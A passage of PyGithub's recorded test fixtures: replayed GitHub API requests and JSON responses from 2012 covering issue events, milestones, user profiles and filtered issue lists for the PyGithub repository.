__init__\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/GithubObjects/GithubObject/GithubObject.py\", line 103, in __fetchAttribute\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/GithubObjects/GithubObject/Basic.py\", line 62, in updateAttributes\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/Github.py\", line 10, in _dataRequest\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/Requester.py\", line 17, in dataRequest\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/Requester.py\", line 39, in __statusCheckedRequest\r\n github.Requester.UnknownGithubObject:\r\n\r\nAlso possibly related: ```repo.get_download()``` (what weird things users do, eh?) causes a shorter trace ending in Type Error. ","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/23","comments":2,"milestone":null,"number":23,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":"2012-04-23T20:23:29Z","title":"UnknownGithubObject on get_download() with invalid key","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Question","name":"Question","color":"02e10c"}],"created_at":"2012-04-17T19:03:44Z","state":"closed","user":{"url":"https://api.github.com/users/tallforasmurf","avatar_url":"https://secure.gravatar.com/avatar/61104afbd871dab22a702e7c1233d573?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"61104afbd871dab22a702e7c1233d573","login":"tallforasmurf","id":1137018},"id":4159230,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/PyGithub/PyGithub/issues/23"},"commit_id":null,"created_at":"2012-04-17T21:10:30Z","event":"assigned","id":13600012,"actor":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/13599998","issue":{"updated_at":"2012-04-23T20:23:29Z","body":"This is probably user error (I don't really know what I'm doing) but if I execute ```repo.get_download(1)``` or ```repo.get_download('foobar')``` (I'm not sure what the proper id for a download is), I get the following error trace:\r\n\r\n Traceback (most recent call last):\r\n File \"/Applications/WingIDE.app/Contents/MacOS/src/debug/tserver/_sandbox.py\", line 1, in \r\n # Used internally for debug sandbox under external interpreter\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/GithubObjects/GithubObject/GithubObject.py\", line 77, in \r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/GithubObjects/GithubObject/List.py\", line 114, in __execute\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/GithubObjects/GithubObject/TypePolicies.py\", line 25, in createNonLazy\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/GithubObjects/GithubObject/GithubObject.py\", line 73, in __init__\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/GithubObjects/GithubObject/GithubObject.py\", line 103, in __fetchAttribute\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/GithubObjects/GithubObject/Basic.py\", line 62, in updateAttributes\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/Github.py\", line 10, in _dataRequest\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/Requester.py\", line 17, in dataRequest\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/Requester.py\", line 39, in __statusCheckedRequest\r\n github.Requester.UnknownGithubObject:\r\n\r\nAlso possibly related: ```repo.get_download()``` (what weird things users do, eh?) causes a shorter trace ending in Type Error. ","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/23","comments":2,"milestone":null,"number":23,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":"2012-04-23T20:23:29Z","title":"UnknownGithubObject on get_download() with invalid key","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Question","name":"Question","color":"02e10c"}],"created_at":"2012-04-17T19:03:44Z","state":"closed","user":{"url":"https://api.github.com/users/tallforasmurf","avatar_url":"https://secure.gravatar.com/avatar/61104afbd871dab22a702e7c1233d573?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"61104afbd871dab22a702e7c1233d573","login":"tallforasmurf","id":1137018},"id":4159230,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/PyGithub/PyGithub/issues/23"},"commit_id":null,"created_at":"2012-04-17T21:10:15Z","event":"subscribed","id":13599998,"actor":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/13589532","issue":{"updated_at":"2012-04-23T20:23:29Z","body":"This is probably user error (I don't really know what I'm doing) but if I execute ```repo.get_download(1)``` or ```repo.get_download('foobar')``` (I'm not sure what the proper id for a download is), I get the following error trace:\r\n\r\n Traceback (most recent call last):\r\n File \"/Applications/WingIDE.app/Contents/MacOS/src/debug/tserver/_sandbox.py\", line 1, in \r\n # Used internally for debug sandbox under external interpreter\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/GithubObjects/GithubObject/GithubObject.py\", line 77, in \r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/GithubObjects/GithubObject/List.py\", line 114, in __execute\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/GithubObjects/GithubObject/TypePolicies.py\", line 25, in createNonLazy\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/GithubObjects/GithubObject/GithubObject.py\", line 73, in __init__\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/GithubObjects/GithubObject/GithubObject.py\", line 103, in __fetchAttribute\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/GithubObjects/GithubObject/Basic.py\", line 62, in updateAttributes\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/Github.py\", line 10, in _dataRequest\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/Requester.py\", line 17, in dataRequest\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/Requester.py\", line 39, in __statusCheckedRequest\r\n github.Requester.UnknownGithubObject:\r\n\r\nAlso possibly related: ```repo.get_download()``` (what weird things users do, eh?) causes a shorter trace ending in Type Error. ","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/23","comments":2,"milestone":null,"number":23,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":"2012-04-23T20:23:29Z","title":"UnknownGithubObject on get_download() with invalid key","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Question","name":"Question","color":"02e10c"}],"created_at":"2012-04-17T19:03:44Z","state":"closed","user":{"url":"https://api.github.com/users/tallforasmurf","avatar_url":"https://secure.gravatar.com/avatar/61104afbd871dab22a702e7c1233d573?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"61104afbd871dab22a702e7c1233d573","login":"tallforasmurf","id":1137018},"id":4159230,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/PyGithub/PyGithub/issues/23"},"commit_id":null,"created_at":"2012-04-17T19:03:45Z","event":"subscribed","id":13589532,"actor":{"url":"https://api.github.com/users/tallforasmurf","avatar_url":"https://secure.gravatar.com/avatar/61104afbd871dab22a702e7c1233d573?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"61104afbd871dab22a702e7c1233d573","login":"tallforasmurf","id":1137018}}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetIssuesWithArguments.txt0000644000175100001660000017416214756101563026445 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/milestones/3 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4986'), ('content-length', '577'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"aefd46b78a992c1eb76e6bb49c45be7c"'), ('date', 'Fri, 01 Jun 2012 19:52:57 GMT'), ('content-type', 'application/json; charset=utf-8')] {"title":"Version 0.5: full implementation","creator":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},"created_at":"2012-03-12T21:38:36Z","state":"closed","description":"","url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/3","closed_issues":4,"due_on":"2012-03-20T07:00:00Z","open_issues":0,"number":3,"id":95354} https GET api.github.com None /users/jacquev6 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4985'), ('content-length', '801'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"7ce1335565832b7bdbe43916a0724156"'), ('date', 'Fri, 01 Jun 2012 19:52:57 GMT'), ('content-type', 'application/json; charset=utf-8')] {"type":"User","bio":"","collaborators":0,"company":"Criteo","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","total_private_repos":5,"email":"vincent@vincent-jacques.net","owned_private_repos":5,"created_at":"2010-07-09T06:10:06Z","location":"Paris, France","url":"https://api.github.com/users/jacquev6","following":24,"public_gists":3,"disk_usage":16900,"public_repos":10,"private_gists":5,"name":"Vincent Jacques","blog":"http://vincent-jacques.net","followers":13,"html_url":"https://github.com/jacquev6","hireable":false,"id":327146,"plan":{"private_repos":5,"collaborators":1,"space":614400,"name":"micro"},"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"} https GET api.github.com None /users/Lyloa {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4984'), ('content-length', '554'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"73f74c6f88d8578cb44a6c29b1e2ee8e"'), ('date', 'Fri, 01 Jun 2012 19:52:58 GMT'), ('content-type', 'application/json; charset=utf-8')] {"type":"User","blog":null,"company":null,"gravatar_id":"1517ed584458ccf83e03f5d77d9699d7","login":"Lyloa","email":"nyu@lyloa.net","avatar_url":"https://secure.gravatar.com/avatar/1517ed584458ccf83e03f5d77d9699d7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","public_repos":0,"created_at":"2011-10-16T14:36:46Z","location":"Paris","url":"https://api.github.com/users/Lyloa","following":0,"hireable":false,"name":"Lyloa","public_gists":0,"followers":1,"html_url":"https://github.com/Lyloa","bio":null,"id":1131432} https GET api.github.com None /repos/PyGithub/PyGithub/labels/Bug {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4997'), ('content-length', '97'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"569c414d87e8ec43ec269a9e28bc2982"'), ('date', 'Fri, 01 Jun 2012 19:56:30 GMT'), ('content-type', 'application/json; charset=utf-8')] {"color":"e10c02","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug","name":"Bug"} https GET api.github.com None /repos/PyGithub/PyGithub/issues?state=closed&milestone=3 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4868'), ('content-length', '6944'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"5c472a7784b7cd933a35e2bb0ce5df38"'), ('date', 'Tue, 29 May 2012 18:39:43 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-03-19T19:05:17Z","body":"","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/11","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/3","number":3,"title":"Version 0.5: full implementation","closed_issues":4,"due_on":"2012-03-20T07:00:00Z","open_issues":0,"created_at":"2012-03-12T21:38:36Z","state":"closed","description":"","id":95354},"number":11,"html_url":"https://github.com/PyGithub/PyGithub/issues/11","assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"title":"Implement alternative inputs","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"}],"closed_at":"2012-03-19T19:05:17Z","created_at":"2012-03-13T06:08:10Z","state":"closed","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"id":3624472,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-14T22:29:08Z","body":"","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/10","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/3","number":3,"title":"Version 0.5: full implementation","closed_issues":4,"due_on":"2012-03-20T07:00:00Z","open_issues":0,"created_at":"2012-03-12T21:38:36Z","state":"closed","description":"","id":95354},"number":10,"html_url":"https://github.com/PyGithub/PyGithub/issues/10","assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"title":"Separate GithubObjects.py in several files","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Refactoring","name":"Refactoring","color":"0b02e1"}],"closed_at":"2012-03-14T22:29:08Z","created_at":"2012-03-12T22:08:06Z","state":"closed","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"id":3620132,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-19T20:56:01Z","body":"","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/8","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/3","number":3,"title":"Version 0.5: full implementation","closed_issues":4,"due_on":"2012-03-20T07:00:00Z","open_issues":0,"created_at":"2012-03-12T21:38:36Z","state":"closed","description":"","id":95354},"number":8,"html_url":"https://github.com/PyGithub/PyGithub/issues/8","assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"title":"Publish version 0.5","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","name":"Project management","color":"444444"}],"closed_at":"2012-03-19T20:56:01Z","created_at":"2012-03-12T21:38:49Z","state":"closed","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"id":3619658,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-19T19:05:17Z","body":"","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/3","number":3,"title":"Version 0.5: full implementation","closed_issues":4,"due_on":"2012-03-20T07:00:00Z","open_issues":0,"created_at":"2012-03-12T21:38:36Z","state":"closed","description":"","id":95354},"number":5,"html_url":"https://github.com/PyGithub/PyGithub/issues/5","assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"title":"Implement full API","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"}],"closed_at":"2012-03-19T19:05:17Z","created_at":"2012-03-08T12:21:28Z","state":"closed","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"id":3561926,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] https GET api.github.com None /repos/PyGithub/PyGithub/issues?labels=Bug {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4867'), ('content-length', '2426'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"dcab4e56d1acdb64e964e0f8669f5c19"'), ('date', 'Tue, 29 May 2012 18:39:44 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-05-28T14:47:02Z","body":"As the title says, `get_issues()` seems to return a max of 250 items. \nIt can't be a pagination thing I think because a page is max. 100 items long as per http://developer.github.com/v3/#pagination\n\nRepro:\n\n\tfrom github import Github\n\tg = Github()\n\ttest=g.get_user('openframeworks').get_repo('openFrameworks').get_issues()\n\tlen(test)\n\nThis repo hast 940 closed and 340 open issues.","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/33","comments":4,"milestone":{"closed_issues":6,"creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":13,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":33,"html_url":"https://github.com/PyGithub/PyGithub/issues/33","assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"title":"get_issues() returns max. 250 items","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug","name":"Bug","color":"e10c02"}],"closed_at":null,"created_at":"2012-05-28T13:18:01Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":4780155,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null}}] https GET api.github.com None /repos/PyGithub/PyGithub/issues?labels=Bug {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4867'), ('content-length', '2426'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"dcab4e56d1acdb64e964e0f8669f5c19"'), ('date', 'Tue, 29 May 2012 18:39:44 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-05-28T14:47:02Z","body":"As the title says, `get_issues()` seems to return a max of 250 items. \nIt can't be a pagination thing I think because a page is max. 100 items long as per http://developer.github.com/v3/#pagination\n\nRepro:\n\n\tfrom github import Github\n\tg = Github()\n\ttest=g.get_user('openframeworks').get_repo('openFrameworks').get_issues()\n\tlen(test)\n\nThis repo hast 940 closed and 340 open issues.","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/33","comments":4,"milestone":{"closed_issues":6,"creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":13,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":33,"html_url":"https://github.com/PyGithub/PyGithub/issues/33","assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"title":"get_issues() returns max. 250 items","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug","name":"Bug","color":"e10c02"}],"closed_at":null,"created_at":"2012-05-28T13:18:01Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":4780155,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null}}] https GET api.github.com None /repos/PyGithub/PyGithub/issues?sort=comments&assignee=jacquev6&direction=asc {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4866'), ('content-length', '29746'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"ca9d3b0d1f8313bd38c2b092f3dec187"'), ('date', 'Tue, 29 May 2012 18:39:45 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-05-29T11:29:46Z","body":"https://api.github.com/hooks is not documented, but it is referred by http://developer.github.com/v3/repos/hooks/#create-a-hook","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/35","comments":0,"milestone":{"closed_issues":6,"creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":13,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":35,"html_url":"https://github.com/PyGithub/PyGithub/issues/35","assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"title":"Implement https://api.github.com/hooks","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"}],"closed_at":null,"created_at":"2012-05-29T11:29:46Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"id":4793106,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null}},{"updated_at":"2012-03-08T12:23:29Z","body":"","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/2","comments":0,"milestone":{"closed_issues":6,"creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":13,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch 